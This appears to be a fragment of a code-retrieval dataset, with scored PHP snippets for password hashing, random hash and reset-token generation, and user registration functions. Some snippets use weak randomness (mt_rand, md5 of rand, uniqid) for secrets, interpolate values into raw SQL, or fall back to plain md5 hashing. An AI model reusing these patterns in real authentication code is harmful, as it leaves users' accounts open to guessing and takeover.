generateHash()\n\t{\n\t\t$random_string = \"\";\n\t\t$valid_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n\t\t$length = 8;\n\n\t // count the number of chars in the valid chars string so we know how many choices we have\n\t $num_valid_chars = strlen($valid_chars);\n\t\n\t // repeat the steps until we've created a string of the right length\n\t for ($i = 0; $i < $length; $i++)\n\t {\n\t // pick a random number from 1 up to the number of valid chars\n\t $random_pick = mt_rand(1, $num_valid_chars);\n\t\n\t // take the random character out of the string of valid chars\n\t // subtract 1 from $random_pick because strings are indexed starting at 0, and we started picking at 1\n\t $random_char = $valid_chars[$random_pick-1];\n\t\n\t // add the randomly-chosen char onto the end of our string so far\n\t $random_string .= $random_char;\n\t }\n\t\n\t // return our finished random string\n\t return $random_string;\n\t}", "title": "" }, { "docid": "84d77c695b5065f0f2525edb985dd551", "score": "0.65378267", "text": "public function generateHash($string)\n {\n return password_hash($string, $this->algorithm, ['cost' => $this->cost]);\n }", "title": "" }, { "docid": "2ccbc88dae61c2ec01508a19752644c9", "score": "0.6519742", "text": "function create_recovery_password() {\n $recovery_pass = substr(md5(rand(999, 99999)), 0, 8);\n return $recovery_pass;\n}", "title": "" }, { "docid": "0e4a5530ca5e5bb9940eb978906172a5", "score": "0.6513262", "text": "public function generatePasswordReset($email) {\n $resp = array(\"success\" => true, \"key\" => null, \"message\" => \"OK\");\n \n $email = self::$connection->escape_string($email);\n \n $randomKey = uniqid() . uniqid(); // random 26 char digit\n $user = $this->getUserByMail($email);\n \n if ($user == null || $user->getType() == 0) {\n $resp['success'] = false;\n $resp['message'] = 'No valid user email';\n \n return $resp;\n }\n $userId = $user->getId();\n \n self::$connection->straightQuery(\"INSERT INTO pwd_reset (token, uid, validuntil) VALUES ('$randomKey', '$userId', NOW() + INTERVAL 24 HOUR);\");\n \n $resp['key'] = $randomKey;\n \n return $resp;\n }", "title": "" }, { "docid": "712968ca9bd0251ef5e7134845f92cc6", "score": "0.6509368", "text": "public function hash(string $password, array $options = []): string\n {\n }", "title": "" }, { "docid": "45ab4a5cc6e0e3685e5dcc01adba8cf2", "score": "0.6503707", "text": "public function hashPassword()\n {\n $this->password = Yii::$app->getSecurity()->generatePasswordHash($this->password);\n }", "title": "" }, { "docid": "6d7ff81d77325c04be947fc282f37944", "score": "0.64898056", "text": "private function generateHash(){\n\t$charset='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\t$str = '';\n\t$length = 255;\n\t\t$count = strlen($charset);\n\t\twhile ($length--) {\n\t\t\t$str .= $charset[mt_rand(0, $count-1)];\n\t\t}\n\t$hash = $str;\n\t\n\treturn $hash;\n\t//END OF GENERATE HASH\n\t}", "title": "" }, { "docid": "ec5858d020cbace32a6d08b4df0e8463", "score": "0.64825416", "text": "public function generateHash(){\n $data = $this->methodHttp \n . $this->timestamp \n . $this->token\n . $this->once\n . $this->uri;\n \n if(count($this->headersCustom) > 0){\n $data .= implode('',$this->headersCustom);\n }\n \n $this->hash = base64_encode(hash_hmac(\"sha256\", $data, $this->secret,true));\n \n }", "title": "" }, { "docid": "22f95c0190aa3c257c5caefc4f7b2fa1", "score": "0.64816624", "text": "function generate_password() {\n $this->password = generate_password();\n return $this->password;\n }", "title": "" }, { "docid": "5fc1b9a6ce2f8637ada9d45a39656a80", "score": "0.64697236", "text": "function phpbb_hash($password)\n {\n \t$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\n\n \t$random_state = $this->unique_id();\n \t$random = '';\n \t$count = 6;\n\t\t\n \t/*\n \tif (($fh = @fopen('/dev/urandom', 'rb')))\n \t{\n \t\t$random = fread($fh, $count);\n \t\tfclose($fh);\n \t}\n \t*/\n \t\n \t// Hack for SYNK so it won't need the UNIX based code from above\n \tfor($i = 0; $i < $count; $i++) $random .= chr(mt_rand(0, 255));\n \t\n\n \tif (strlen($random) < $count)\n \t{\n \t\t$random = '';\n\n \t\tfor ($i = 0; $i < $count; $i += 16)\n \t\t{\n \t\t\t$random_state = md5($this->unique_id() . $random_state);\n \t\t\t$random .= pack('H*', md5($random_state));\n \t\t}\n \t\t$random = substr($random, 0, $count);\n \t}\n\n \t$hash = $this->_hash_crypt_private($password, $this->_hash_gensalt_private($random, $itoa64), $itoa64);\n\n \tif (strlen($hash) == 34)\n \t{\n \t\treturn $hash;\n \t}\n\n \treturn md5($password);\n }", "title": "" }, { "docid": "7807ef00c4d796d9e3ad4d46620767a9", "score": "0.64360285", "text": "public function reset_password()\n {\n $dict = file(\"/usr/share/dict/words\");\n $pass = rand(0,9);\n while (strlen($pass) < 10) {\n $pass .= ucfirst(preg_replace(\"/[^A-Za-z0-9 ]/\", '', $dict[rand(0, count($dict) - 1)]));\n }\n\n $this->set_password($pass);\n $this->password_reset_required = true;\n $this->update();\n return $pass;\n }", "title": "" }, { "docid": "4f1df2b8dc06a12f9e854abf9d83579b", "score": "0.64256275", "text": "public function generateHash()\n {\n $hashKeys = [\n $this->getClientId(),\n $this->order->getId(),\n $this->order->getAmount(),\n $this->okUrl,\n $this->failUrl,\n $this->processType,\n $this->order->getInstallment(),\n $this->order->getRnd(),\n $this->bankConfig['store_key']\n ];\n\n return base64_encode(pack('H*', sha1(implode('', $hashKeys))));\n }", "title": "" } ]
f9c34da70fe3d48572f1c962dfadaa73
Create a new user instance after a valid registration.
[ { "docid": "4932624f89c6d03d71eb9854188d97a7", "score": "0.0", "text": "public function register(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'name' => 'required|string|max:50',\n 'email' => 'required|string|email|unique:users',\n 'password' => 'required|string|min:6',\n ]);\n\n if ($validator->fails()) {\n return response()->json(['errors' => $validator->errors()], 422);\n }\n\n $data = $request->only(['name', 'email', 'password']);\n $data['password'] = bcrypt($data['password']);\n\n $user = User::create($data);\n $user->is_admin = 0;\n\n return response()->json([\n 'user' => $user,\n 'token' => $user->createToken('JGalleria')->accessToken,\n ]);\n }", "title": "" } ]
[ { "docid": "aac31fc3625e9d58421861b0c0137da8", "score": "0.7750602", "text": "protected function _createUser()\n {\n $data = [\n 'email' => '[email protected]',\n 'password' => 'test',\n ];\n\n $user = $this->Users->newEntity($data);\n\n $user->set('active', true);\n $user->set('role_id', 1);\n\n $this->Users->save($user);\n }", "title": "" }, { "docid": "1e002168e0c2538e3e70502f2d2f18df", "score": "0.7489929", "text": "public function createUser()\n {\n $this->user = factory(Easel\\Models\\User::class)->create();\n }", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.7474633", "text": "public function createUser();", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.7474633", "text": "public function createUser();", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.7474633", "text": "public function createUser();", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.7474633", "text": "public function createUser();", "title": "" }, { "docid": "a5edc8f1cc1ae579e9260fa10ccadf2e", "score": "0.7418831", "text": "public function createUser()\n {\n $this->user = factory(App\\Models\\User::class)->create();\n }", "title": "" }, { "docid": "a5edc8f1cc1ae579e9260fa10ccadf2e", "score": "0.7418831", "text": "public function createUser()\n {\n $this->user = factory(App\\Models\\User::class)->create();\n }", "title": "" }, { "docid": "1bc0a86d5a70b8b2e4073946a2167d1a", "score": "0.7361687", "text": "public function createUser()\n {\n\n $userCurrent = $this->userValidator->validate();\n $userCurrent['password'] = Hash::make($userCurrent['password']);\n $userCurrent = $this->user::create($userCurrent);\n $userCurrent->roles()->attach(Role::where('name', 'user')->first());\n return $this->successResponse('user', $userCurrent, 201);\n }", "title": "" }, { "docid": "f36b2695278c1681173de991124c71d1", "score": "0.73091877", "text": "public function createUser()\n {\n return User::factory()->create();\n }", "title": "" }, { "docid": "6981c7830b28d1ba9441693ef111994a", "score": "0.7290402", "text": "public function create() {\n $username = Input::get('reg_username');\n $email = Input::get('email');\n $password = Input::get('reg_password');\n $confirm_password = Input::get('confirm_password');\n\n // Make sure that both passwords are identical\n if (strcmp($password, $confirm_password) == 0) {\n $hashed_password = Hash::make($password);\n try {\n $user = new User;\n $user -> username = $username;\n $user -> email = $email;\n $user -> password = $hashed_password;\n $user -> save();\n } catch (\\Illuminate\\Database\\QueryException $e) {\n return Redirect::route('register') -> with(array(\n 'alert-message' => 'Error: Failed to register user in database.',\n 'alert-class' => 'alert-danger'\n ));\n }\n\n // Login the new user automatically\n $user = User::where('username', '=', $username) -> first();\n Auth::login($user);\n\n return Redirect::route('home') -> with(array(\n 'alert-message' => 'Welcome! You have successfully created an account, and have been logged in.',\n 'alert-class' => 'alert-success'\n ));\n }\n\n return Redirect::route('register') -> with(array(\n 'alert-message' => 'The attempt to create an account was unsuccessful!',\n 'alert-class' => 'alert-danger'\n ));\n }", "title": "" }, { "docid": "dd00290eb89e89cfb895f62ea2edf8d8", "score": "0.7170887", "text": "private function newUser()\n {\n return factory(User::class)->create([\n 'name' => 'John Doe',\n 'email' => '[email protected]',\n 'email_verified_at' => '2019-06-01 16:45:00',\n 'password' => Hash::make('test1234'),\n 'photo' => 'https://lorempixel.com/640/480/?65533',\n 'created_at' => '2019-06-01 16:45:00',\n 'updated_at' => '2019-06-01 16:45:00',\n 'deleted_at' => '2019-06-01 16:45:00',\n 'logged_in_at' => '2019-06-01 16:45:00',\n ]);\n }", "title": "" }, { "docid": "d61b23c50fbf211734326162d2714ac1", "score": "0.7153413", "text": "public function createAction()\r\n {\r\n $user = new User($_POST);\r\n\r\n if ($user->save()) {\r\n\t\t\t\r\n\t\t\tsession_regenerate_id(true);\r\n\r\n\t\t\t$_SESSION['user_id'] = User::getIdSavedUser($_POST['email']);\r\n\t\t\t\r\n\t\t\tIncome::saveDefaultIncomes($_SESSION['user_id']);\r\n\t\t\tExpense::saveDefaultExpenses($_SESSION['user_id']);\r\n\t\t\tPaymentMethod::saveDefaultPaymentMethods($_SESSION['user_id']);\r\n\t\t\t\r\n\t\t\t$user->sendActivationEmail();\r\n\r\n $this->redirect('/signup/success');\r\n\r\n } else {\r\n\r\n View::renderTemplate('Signup/new.html', [\r\n 'user' => $user\r\n ]);\r\n\r\n }\r\n }", "title": "" }, { "docid": "8479121ec03b6d30b81c80ed4cb0827b", "score": "0.71367514", "text": "public function create() {\n\n //Create validator for User registration form with all data sended. Load from model\n $validator = Validator::make(Input::all(), User::$rules_validator);\n \n //Only if request is send by form (post) procces to create user\n if (Request::isMethod('post')) {\n \n //Check fields data sended\n if ($validator->fails()) {\n //Redirecto to form with error\n $messages = $validator->messages()->all(\"<li>:message</li>\");\n $error = \"<ul>\". implode(\"\", $messages).\"</ul>\";\n return Redirect::to('/user/register')->with('error', $error)->withInput(Input::all());\n }\n \n //Pass validator, proccess to create User\n if( $user = User::_save( Input::all() ) ){\n //Auto login user created, is same that attemd method\n Auth::login($user);\n //Redirecto to profile\n return Redirect::intended(action('UserController@profile', array('username' => Auth::user()->username )))->with('notice', trans(\"app.welcome_message\", array(\"user\"=>Auth::user()->username) ));\n }else{\n //Error to try create User, redirecto to Registration form\n return Redirect::to('/user/register')->with('error', trans(\"app.error_creating\"))->withInput(Input::all());\n }\n }\n \n //Return to view\n return View::make('user.register');\n }", "title": "" }, { "docid": "3f758f50e5b71e92359eadab5ed51e23", "score": "0.7130723", "text": "public function create()\n\t{\n\t\tif (!isset($_POST) || empty($_POST))\n\t\t{\n\t\t\theader(\"Location: /myrecipe/users/registry\");\n\t\t\texit;\n\t\t}\n\t\t// TODO need to validate data\n\t\t$data = array('username' => $_POST['username'], 'password' => $_POST['password'], 'cpassword' => $_POST['cpassword'], 'email' => $_POST['email']);\n\t\t// validate the input data\n\t\t$errorArray = User::validates($data);\n\t\tif (count($errorArray))\n\t\t{\n\t\t\t// store errors in session and redirect\n\t\t\t$_SESSION['user'] = $data;\n\t\t\t$_SESSION['user']['errors'] = $errorArray;\n\t\t\theader(\"Location: /myrecipe/users/registry\");\n\t\t\texit;\n\t\t}\n\t\t// create a new user, assume all new users are not staff\n\t\t$values = array('username'=>$_POST['username'],'password'=>$_POST['password'],'email'=>$_POST['email'],'user_type'=>'1');\n\t\t$id = User::createUser($values);\n\t\t// log the user in\n\t\t$_SESSION['user']['id'] = $id;\n\t\t$_SESSION['user']['name'] = $_POST['username'];\n\t\t$_SESSION['user']['type'] = '1';\n\t\techo \"id = \" . $id;\n\t\theader(\"Location: /myrecipe/users/\" . $id);\n\t\texit;\n\t}", "title": "" }, { "docid": "e9f6ff36d0d908ac264bb5d0ce775497", "score": "0.7116712", "text": "public function registerNewUser()\n\t{\n\t\t# make the call to the API\n\t\t$response = App::make('ApiClient')->post('register', Input::all());\n\n\t\t# if we successfully register a new user\n\t\tif(isset($response['success']))\n\t\t{\n\t\t\tUser::startSession($response['success']['data']['user']);\n\n\t\t\t# grab the data array from the response\n\t\t\tSession::flash('success', $response['success']['data']);\n\n\t\t\t# show the user profile screen\n\t\t\treturn Redirect::route('profile');\n\t\t}\n\t\t# there was a problem registering the user\n\t\telse \n\t\t{\n\t\t\t# save the API response to some flash data\n\t\t\tSession::flash('registration-errors', getErrors($response));\n\n\t\t\t# also flash the input so we can replay it out onto the reg form again\n\t\t\tInput::flash();\n\n\t\t\t# ... and show the sign up form again\n\t\t\treturn Redirect::back();\n\t\t}\n\t}", "title": "" }, { "docid": "7536e514f58a8e5ab53eb020a9422b0d", "score": "0.7107231", "text": "public function create(array $data)\n {\n $user = User::isCurrentUser($data);\n\n // If user doesn't exist, attempt to create.\n if (!$user) {\n $user = new User($data);\n\n $validator = $this->validation->make($user->toArray(), [\n 'phone' => 'unique:users',\n 'email' => 'unique:users',\n ]);\n\n if($validator->fails()) {\n throw new ValidationException($validator);\n }\n\n $user->country_code = get_country_code();\n $user->northstar_id = $this->northstar->register($user);\n\n $user->save();\n\n event(new UserRegistered($user));\n }\n\n return $user;\n }", "title": "" }, { "docid": "84506257264e50e50701330ac2f08550", "score": "0.7092155", "text": "private function createUser()\n {\n $sl = $this->getServiceManager();\n $userService = $sl->get(\"zfcuser_user_service\");\n $randomness = \"mockuser_\".mt_rand();\n $data = array(\n \"username\" => \"{$randomness}\",\n \"password\" => \"password\",\n \"passwordVerify\" => \"password\",\n \"display_name\" => \"MOCKUSER\",\n \"email\" => \"{$randomness}@google.com\"\n );\n $user = $userService->register($data);\n\n return $user;\n }", "title": "" }, { "docid": "83cd9da2ab395387e877684a00885c4d", "score": "0.70859027", "text": "public function postCreate() {\n \t$validator = Validator::make(Input::all(), User::$rules);\n\n \t// i made a user with [email protected], goodbye\n \tif ($validator->passes()) {\n \t\t// validation has passed, save user in DB\n \t\t$user = new User;\n \t\t$user->first_name = Input::get('first_name');\n \t\t$user->last_name = Input::get('last_name');\n \t\t$user->email = Input::get('email');\n \t\t$user->password = Hash::make(Input::get('password'));\n \t\t$user->save();\n\n \t\treturn Redirect::to('users/login')->with('message', '<div class=\"alert alert-success\" role=\"alert\">Thanks for registering!</div>');\n \t}\n \telse {\n \t\t// validation has failed, display error messages\n \t\treturn Redirect::to('users/register')->with('message', '<div class=\"alert alert-warning\" role=\"alert\">The following errors occurred</div>')->withErrors($validator)->withInput();\n \t}\n }", "title": "" }, { "docid": "0470df52119ca988ce7cecb647c0ab97", "score": "0.7084165", "text": "public function create()\n {\n return $this->userService->create();\n }", "title": "" }, { "docid": "ce10341056ef80e815c9a83bb87518f7", "score": "0.706826", "text": "public function createUser()\r\n {\r\n // use sign up in AuthController\r\n }", "title": "" }, { "docid": "ce10341056ef80e815c9a83bb87518f7", "score": "0.706826", "text": "public function createUser()\r\n {\r\n // use sign up in AuthController\r\n }", "title": "" }, { "docid": "2e58484e9fe34df2c5afce781f7f7d44", "score": "0.70554525", "text": "function register_new_user()\n{\n // alidate the data submited by our user\n $result = _validation([\n 'name' => 'required|string|max:255',\n 'email' => 'required|string|email|unique:users',\n 'password' => 'required|string|equals:password_confirmation'\n ]);\n\n // Get the validated data.\n $validated = $result['validated'];\n\n // _dump(bcrypt_hasher_make($validated['password']), true);\n\n // Create the user\n $user = create_new_user(\n $validated['name'],\n $validated['email'],\n bcrypt_hasher_make($validated['password']) // Always hash your users password\n );\n\n // Redirect back if the user was not created.\n _redirect_back_if($user === false, ['errors' => [\n 'Unable to register user at the moment.'\n ]]);\n\n // log the user in\n login_user($user);\n}", "title": "" }, { "docid": "e5716f4b7cc112b91b66a6b865b533a9", "score": "0.7055291", "text": "public function newRegistration() {\n $this->registerModel->getUserRegistrationInput();\n $this->registerView->setUsernameValue($this->registerView->getUsername());\n $this->registerModel->validateRegisterInputIfSubmitted();\n if ($this->registerModel->isValidationOk()) {\n $this->registerModel->hashPassword();\n $this->registerModel->saveUserToDatabase();\n $this->loginView->setUsernameValue($this->registerView->getUsername());\n $this->loginView->setLoginMessage(\"Registered new user.\");\n $this->layoutView->render(false, $this->loginView);\n } else {\n $this->layoutView->render(false, $this->registerView);\n }\n \n }", "title": "" }, { "docid": "8b80fb3f4474e6f77bf293a7f41ac12e", "score": "0.7033631", "text": "public function create()\n {\n $request = (object) $this->request->getPost();\n\n if (! $this->validate(static::rules())) {\n return redirect()->back()->withInput()->with('errors', $this->validator->getErrors());\n }\n\n $user = static::createUser($request);\n\n Auth::login($user);\n\n // Automatic trigger send verify email if user\n // instanceof VerifyEmailInterface.\n if ($user instanceof VerifyEmailInterface) {\n Events::trigger(VerifyEmailInterface::class, $user->email);\n }\n\n return redirect(config('Auth')->home);\n }", "title": "" }, { "docid": "4209b4b35a702ba38bde5ccfc6daaa79", "score": "0.7026784", "text": "public function createUser()\n {\n }", "title": "" }, { "docid": "f6bf51fc3cf72cf436b3b5f2d50ffbcd", "score": "0.70149404", "text": "private static function create()\n {\n getDb()->putUser(1, self::getDefaultAttributes());\n }", "title": "" }, { "docid": "9295384535086a9b0790fe6c2899264e", "score": "0.70132315", "text": "static private function createNewUserFromPost() {\r\n\t\t$errors = array();\r\n\r\n\t\t$activationHash = (System::isAtLocalhost()) ? '' : self::getRandomHash();\r\n\t\t$newAccountId = DB::getInstance()->insert('account',\r\n\t\t\t\tarray('username', 'name', 'mail', 'password', 'registerdate', 'activation_hash'),\r\n\t\t\t\tarray($_POST['new_username'], $_POST['name'], $_POST['email'], self::passwordToHash($_POST['password']), time(), $activationHash));\r\n\r\n\t\tself::$IS_ON_REGISTER_PROCESS = true;\r\n\t\tself::$NEW_REGISTERED_ID = $newAccountId;\r\n\r\n\t\tif ($newAccountId === false)\r\n\t\t\t$errors[] = __('There went something wrong. Please contact the administrator.');\r\n\t\telse {\r\n\t\t\tself::importEmptyValuesFor($newAccountId);\r\n\t\t\tself::setSpecialConfigValuesFor($newAccountId);\r\n\r\n\t\t\tif ($activationHash != '')\r\n\t\t\t\tself::setAndSendActivationKeyFor($newAccountId, $errors);\r\n\t\t}\r\n\r\n\t\tself::$IS_ON_REGISTER_PROCESS = false;\r\n\t\tself::$NEW_REGISTERED_ID = -1;\r\n\r\n\t\treturn $errors;\r\n\t}", "title": "" }, { "docid": "4616a4a9023c6b63b33daf9b2631601f", "score": "0.69851196", "text": "protected function create(array $data)\n {\n $user = $this->userService->createUser($data);\n if(!$user) \n return redirect()->back()->with([\"status\" => \"error\", \"msg\"=>\"An Error Occured While Creating a user\"]);\n $this->capsuleService->createParty(PartyDto::fromUser($user)); // create a party on capsule crm for representing registered user\n $this->capsuleService->notifySalesHeadOfNewUserSignup($user); // Send a notification to app sales head on user signup\n return $user;\n }", "title": "" }, { "docid": "51ca8734ba2c0f5a4ee510ef7cb2addd", "score": "0.6964616", "text": "protected function create(array $data)\n {\n $user = new User();\n $reference = str_random(30).time();\n// $user->generateReference();\n\n $user = $user->create([\n 'firstname' => $data['firstname'],\n 'lastname' => $data['lastname'],\n 'phone' => $data['phone'],\n 'gender' => $data['gender'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n 'activation_code' => $reference\n// 'avatar' => 'public/defaults/avatars/default.png'\n ]);\n\n $user->notify((new sendUserActivation($user))->delay(now()->addSeconds(2)));\n Session::flash('message', 'Welcome. Please complete your profile to continue');\n return $user;\n }", "title": "" }, { "docid": "2822d97216edb2542f634180e26dfe70", "score": "0.695086", "text": "public function createUser()\n {\n $class = $this->userClass;\n $user = new $class;\n return $user;\n }", "title": "" }, { "docid": "6de87a75e4eb6b8ed4ebf2ab26d60c74", "score": "0.6941911", "text": "function new_user($firstName,$lastName,$email,$password){\t\n $salt = generate_salt();\n $encPassword = encrypt_password($password,$salt);\n\n //$user = create_user_object($firstName,$lastName,$email,$encPassword,$salt,$userType);\n save_user_info($firstName,$lastName,$email,$encPassword,$salt);\n \n return true;\n}", "title": "" }, { "docid": "aef769e199feedc38e16eb3f4cdaeb35", "score": "0.6941205", "text": "private function register(): void\n {\n $user = User::factory()->create();\n $this->actingAs($user);\n }", "title": "" }, { "docid": "f63b2502617875b40dbdab958f2df4d3", "score": "0.69300467", "text": "protected function createUser ()\n {\n /* Method of the UserFactory class */\n $this->_objUser = UserFactory::createUser(ucfirst($_SESSION[\"userType\"])); \n $this->_objUser->setFirstName($_SESSION[\"emailID\"]);\n }", "title": "" }, { "docid": "10267683ce800147b61d94905fc3cee3", "score": "0.6901686", "text": "public function createUserAction() {\n $this->authService->createUser();\n die();\n }", "title": "" }, { "docid": "ad881a1e093d14d4fa2fe17a51889da1", "score": "0.68745273", "text": "protected function create(array $data)\n {\n $user = User::create([\n 'uuid' => Uuid::generate(5,$data['email'], Uuid::NS_DNS),\n 'firstname' => $data['firstname'],\n 'lastname' => $data['lastname'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n ]);\n\n $userObj = User::find($user->id);\n\n if(Event::fire(new WelcomeUser($userObj)))\n {\n return $user;\n }else\n {\n //Redirect to error page and log in the incident\n }\n\n }", "title": "" }, { "docid": "fe4caf0c19c9d17aa09a7be275137319", "score": "0.6854613", "text": "public function register() {\n\t\tif ($this->Session->check('Auth.User')) {\n\t\t\t$this->redirect('/');\n\t\t}\n\t\t\n\t\tif ($this->request->is('post')) {\n\t\t\t$this->User->create();\n\t\t\t$data = $this->request->data;\n\t\t\tif ($this->User->save($data)) {\n\t\t\t\t$this->Session->setFlash(\"User has been created.\", 'default', array(), 'register');\n\t\t\t\t$this->redirect('/login');\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(\"This user couldn't created. Please try again.\");\n\t\t\t}\n\t\t} else\n\t\t\t$this->Session->delete('Message.register');\n\t}", "title": "" }, { "docid": "f1d0b5cbaac792d395676e1b37121ff2", "score": "0.6849693", "text": "protected function create(array $data)\n {\n\n // incase the user does not enter the password and exits, then \n // we give give them to re register into the website, so \n // a new email is sent for verification and the old token is regenerated\n if($user = User::where('email', '=', $data['email'])->first()){\n\n $user->verification_token = str_random(30);\n $user->status = User::NOT_VERIFIED;\n $user->save();\n\n return $user;\n }\n\n return User::create([\n 'email' => $data['email'],\n 'name' => $data['name'],\n 'verification_token' => str_random(30)\n ]);\n }", "title": "" }, { "docid": "3c985b88d9a84aa244370df53f6d4081", "score": "0.68476766", "text": "public function handle_create(RegisterRequest $request)\n {\n $request->validated();\n\n $user = new User;\n\n $user->fullname = $request->fullname;\n $user->username = $request->username;\n $user->email = $request->email;\n\n $user->phone = $request->phone;\n $user->address = $request->address;\n $user->password = Hash::make($request->password);\n\n\n if (\n isset($request->file_img)\n &&\n ($request->file_img->getMimeType() == 'image/png' ||\n $request->file_img->getMimeType() == 'image/jpeg' ||\n $request->file_img->getMimeType() == 'image/jpg')\n && $request->file_img->getSize() <= 5120\n ) {\n $extension = $request->file('file_img')->guessClientExtension();\n $new_name_img = time() . '-' . $request->username . '.' . $extension;\n\n // move image to public images folder\n $request->file_img->move(public_path('images', $new_name_img));\n\n $user->image = $new_name_img;\n }\n $user->create_by = Auth::guard('admin')->user()->username;\n\n $save = $user->save();\n if ($save) {\n return redirect()->route('admin.showuser');\n } else {\n return back()->with('fail', 'an error occurred!');\n }\n }", "title": "" }, { "docid": "de917d0545ce1ca01ce55c701eab572b", "score": "0.6847447", "text": "public function user_signup_new(Request $request)\n {\n $request->validate([\n 'first_name' => 'required',\n 'email' => 'required|string|unique:users',\n 'other_mobile_number' => 'required|integer|unique:users',\n 'selectType' => 'required',\n 'agree_check' => 'required|boolean',\n 'password' => 'required|string|confirmed'\n ]);\n\n $token = getenv(\"TWILIO_AUTH_TOKEN\");\n $twilio_sid = getenv(\"TWILIO_SID\");\n $twilio_verify_sid = getenv(\"TWILIO_VERIFY_SID\");\n $twilio = new Client($twilio_sid, $token);\n $twilio->verify->v2->services($twilio_verify_sid)\n ->verifications\n ->create(\"+91\".$request->other_mobile_number, \"sms\");\n\n $user = new User([\n 'name' => $request->first_name,\n 'last_name' => $request->last_name,\n 'email' => $request->email,\n 'usertype' => 3,\n 'userSelect_type' => $request->selectType,\n 'other_mobile_number' => $request->other_mobile_number,\n 'password' => bcrypt($request->password)\n ]);\n\n $user->save();\n eventtracker::create(['symbol_code' => '1', 'event' => $request->email.' created a new account as a User']);\n\n return response()->json([\n 'data' => $user,\n 'message' => 'Successfully created user!'\n ], 201);\n }", "title": "" }, { "docid": "7342e94c2fe2c612a163f534677d9f0a", "score": "0.6837731", "text": "public static function create() {\n\t\tif (empty(Validator::$errors)) {\n\t\t\tself::insert(self::$tablename, array(\"email\"=>self::$email, \"password_hash\"=>self::$password_hash));\n\t\t\tSession::setFlash(\"alert-success\",\"You have successfully signed up!\");\n\t\t} else {\n\t\t\tSession::setFlash(\"alert-danger\", self::display(Validator::$errors));\n\t\t\tValidator::$errors = [];\n\t\t}\n\t}", "title": "" }, { "docid": "faa14eb0b8e4e9055f2ed3541eebae97", "score": "0.682097", "text": "public function register() {\n\t\tif ($this -> Auth -> loggedIn()) {\n\t\t\t$this -> Session -> setFlash('You are already registered.');\n\t\t\t$this -> redirect($this -> referer());\n\t\t}\n\t\tif ($this -> request -> is('post')) {\n\t\t\t$this -> User -> create();\n\t\t\t$data = $this -> request -> data;\n\t\t\t$data['User']['public_key'] = uniqid();\n\t\t\t$data['User']['role'] = \"user\";\n\t\t\t$data['User']['api_key'] = md5(microtime().rand());\n\t\t\tif ($this -> User -> save($data)) {\n\t\t\t\t$this -> Session -> setFlash(__('You have succesfully registered. Now you can login.'));\n\t\t\t\t$this -> redirect('/users/login');\n\t\t\t} else {\n\t\t\t\t$this -> Session -> setFlash(__('The user could not be saved. Please, try again.'));\n\t\t\t}\n\t\t}\n\n\t\t$this -> set('title_for_layout', 'User Registration');\n\t}", "title": "" }, { "docid": "a7f6608428b1f83ebf1a75169d787d27", "score": "0.6814089", "text": "protected function create()\n {\n// dd(request());\n // create new user in database\n $newUser = User::create([\n 'name' => \\request('name'),\n 'email' => \\request('email'),\n 'student_id' => \\request('student_id'),\n 'phone' => \\request('phone'),\n 'password' => bcrypt(\\request('password')),\n 'remember_token' => \\request('_token'),\n ]);\n\n\n //login the new user\n\n auth()->login($newUser);\n\n }", "title": "" }, { "docid": "a11612d0eb69d8dbceb5cd7543a86775", "score": "0.6806235", "text": "private static function register() {\n if ( !self::validatePost() ) {\n return;\n }\n\n if ( !self::validEmail($_POST['email']) ) {\n self::setError('E-Mail Adresse ist nicht g&uuml;ltig!<br>');\n return;\n }\n \n $_POST['email'] = strtolower($_POST['email']);\n \n $password = Helper::hash($_POST['password'].$_POST['email']);\n \n $verified = md5($_POST['email'].$password.microtime(true));\n \n $result = Database::createUser($_POST['email'],$password,$verified);\n \n if ( $result === false || !is_numeric($result) ) {\n return;\n }\n \n $_SESSION['user']['id'] = $result;\n $_SESSION['user']['email'] = $_POST['email'];\n $_SESSION['user']['verified'] = $verified;\n $_SESSION['loggedin'] = true;\n self::$loggedin = true;\n \n self::registerMail($verified);\n }", "title": "" }, { "docid": "b6fa014a857f7c68230754adf7fd4939", "score": "0.67993814", "text": "public function store()\n {\n // Validate form\n $validator = User::registrationValidation();\n $this->validate(request(), $validator);\n\n // Register user\n $registrationParams = User::registrationParams();\n $user = User::create(request($registrationParams));\n\n // Log in user\n User::loginUser($user);\n\n // Redirect to home page\n return redirect('/');\n }", "title": "" }, { "docid": "829efca4e0f223f84dbce5c29bb912d9", "score": "0.67931235", "text": "function createUser()\n{\n $userCheck = UsersQuery::create()->findOneByUsername($_POST['username']);\n if ($userCheck == \"\") {\n // next add user to db\n $user = new Users();\n $user->setUsername($_POST['username']);\n $user->setPassword($_POST['password']);\n $user->setName($_POST['name']);\n $user->setEmail($_POST['email']);\n $user->setStatus(\"active\");\n $user->setPicture(\"none\");\n $user->setCreated(time());\n $user->setModified(time());\n\n $user->save();\n\n if ($user != null) {\n echo \"user added successfully\";\n }\n } else {\n echo \"user already registered\";\n }\n}", "title": "" }, { "docid": "8cf043cc0511a727e342f0337615cf7c", "score": "0.6783314", "text": "public function create(array $input)\n {\n Validator::make($input, [\n 'name' => ['required', 'string', 'max:255'],\n 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'],\n 'password' => $this->passwordRules(),\n 'terms' => Jetstream::hasTermsAndPrivacyPolicyFeature() ? ['required', 'accepted'] : '',\n ])->validate();\n\n $user = User::create([\n 'name' => $input['name'],\n 'email' => $input['email'],\n 'password' => Hash::make($input['password']),\n 'timezone_id'=> Timezone::getTimezoneId($input['timezone'] ?? null),\n 'role_id'=> $input['role_id'] ?? Role::getDefaultRoleId()\n ]);\n\n $user->notify(new MyAccountRegistration);\n\n // todo: will require a change on role implementation\n User::where('id', '!=', $user->id)->get()->map(function ($admin) use ($user) {\n $admin->notify(new NewUserRegistration($user));\n });\n\n return $user;\n }", "title": "" }, { "docid": "5757837e0a0102e1ed7b6de149f5661c", "score": "0.6782719", "text": "private function createNewUser():User\n {\n 